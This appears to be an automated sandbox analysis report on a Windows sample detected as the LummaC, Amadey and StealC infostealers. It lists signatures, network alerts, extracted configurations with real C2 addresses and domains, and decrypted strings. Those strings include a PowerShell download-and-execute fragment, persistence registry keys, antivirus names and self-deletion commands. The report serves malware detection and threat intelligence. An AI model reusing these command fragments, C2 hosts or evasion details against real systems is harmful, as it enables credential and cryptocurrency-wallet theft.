Edit tour

Windows Analysis Report
oTZfvSwHTq.exe

Overview

General Information

Sample name:	oTZfvSwHTq.exe renamed because original name is a hash value
Original sample name:	8cb60f5681c5a681f60da6e2d7e589c0.exe
Analysis ID:	1581214
MD5:	8cb60f5681c5a681f60da6e2d7e589c0
SHA1:	2ad88182a81deab99dcda4337bbcd84e9d02bb83
SHA256:	6d5ad03df2eeaa1aa6b67612c564e84ce25ee20972d4060154c2587f2ae06e2f
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

oTZfvSwHTq.exe (PID: 3164 cmdline: "C:\Users\user\Desktop\oTZfvSwHTq.exe" MD5: 8CB60F5681C5A681F60DA6E2D7E589C0)

9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe (PID: 4268 cmdline: "C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe" MD5: B0AFC3BE5CA9E3209B844F2CF69F0625)

0Y9DS4ACOZHRKTJZLIK3.exe (PID: 5736 cmdline: "C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe" MD5: 142A3931B0023BC4DF9E8F50E142616A)

skotes.exe (PID: 6960 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 142A3931B0023BC4DF9E8F50E142616A)

skotes.exe (PID: 3524 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 142A3931B0023BC4DF9E8F50E142616A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "scentniej.buzz", "inherineau.buzz", "mindhandru.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "cashfuzysao.buzz"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1613325520.0000000001349000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1918637136.0000000000541000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1921028506.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: oTZfvSwHTq.exe PID: 3164	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: oTZfvSwHTq.exe PID: 3164	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: oTZfvSwHTq.exe PID: 3164	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe PID: 4268	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe PID: 4268	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.0Y9DS4ACOZHRKTJZLIK3.exe.4c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:40:54.542869+0100	2028371	3	Unknown Traffic	192.168.2.8	49704	172.67.165.185	443	TCP
2024-12-27T08:40:56.613400+0100	2028371	3	Unknown Traffic	192.168.2.8	49705	172.67.165.185	443	TCP
2024-12-27T08:40:59.245882+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	172.67.165.185	443	TCP
2024-12-27T08:41:03.488161+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	172.67.165.185	443	TCP
2024-12-27T08:41:05.867077+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	172.67.165.185	443	TCP
2024-12-27T08:41:09.705285+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	172.67.165.185	443	TCP
2024-12-27T08:41:12.333774+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	172.67.165.185	443	TCP
2024-12-27T08:41:16.189149+0100	2028371	3	Unknown Traffic	192.168.2.8	49714	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:40:55.287780+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49704	172.67.165.185	443	TCP
2024-12-27T08:40:57.380448+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49705	172.67.165.185	443	TCP
2024-12-27T08:41:17.215532+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49714	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:40:55.287780+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49704	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:40:57.380448+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49705	172.67.165.185	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:41:01.436183+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49706	172.67.165.185	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:41:35.088528+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49716	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:42:06.700947+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49718	185.215.113.43	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: oTZfvSwHTq.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php&~	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/k	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api%	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ily	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded/	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpR	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiTU	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apiCN	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apil	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpcodedR	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/IL	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/p$(	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpded=	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/86)	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ms	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpz	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpi	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpn	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpR~	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: oTZfvSwHTq.exe.3164.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "scentniej.buzz", "inherineau.buzz", "mindhandru.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "cashfuzysao.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: oTZfvSwHTq.exe	Virustotal: Detection: 58%			Perma Link
Source: oTZfvSwHTq.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: oTZfvSwHTq.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: S-%lu-
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: skotes.exe
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Startup
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: rundll32
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Programs
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: cred.dll
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: clip.dll
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: http://
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: https://
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: /quiet
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: /Plugins/
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: &unit=
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: shell32.dll
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: ProgramData\
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: AVAST Software
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Panda Security
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Doctor Web
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Bitdefender
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Norton
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Sophos
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Comodo
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: WinDefender
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: 0123456789
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: ------
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: ?scr=1
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: ComputerName
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: -unicode-
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: VideoID
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: ProductName
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: && Exit"
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: " && ren
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: Powershell.exe
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp	String decryptor: random
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 07
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 01
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 20
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 25
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetProcAddress
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: LoadLibraryA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: lstrcatA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: OpenEventA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CreateEventA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: CloseHandle
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Sleep
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: VirtualFree
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetSystemInfo
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: VirtualAlloc
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HeapAlloc
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetComputerNameA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: lstrcpyA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetProcessHeap
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetCurrentProcess
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: lstrlenA
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ExitProcess
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: GetSystemTime
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: advapi32.dll
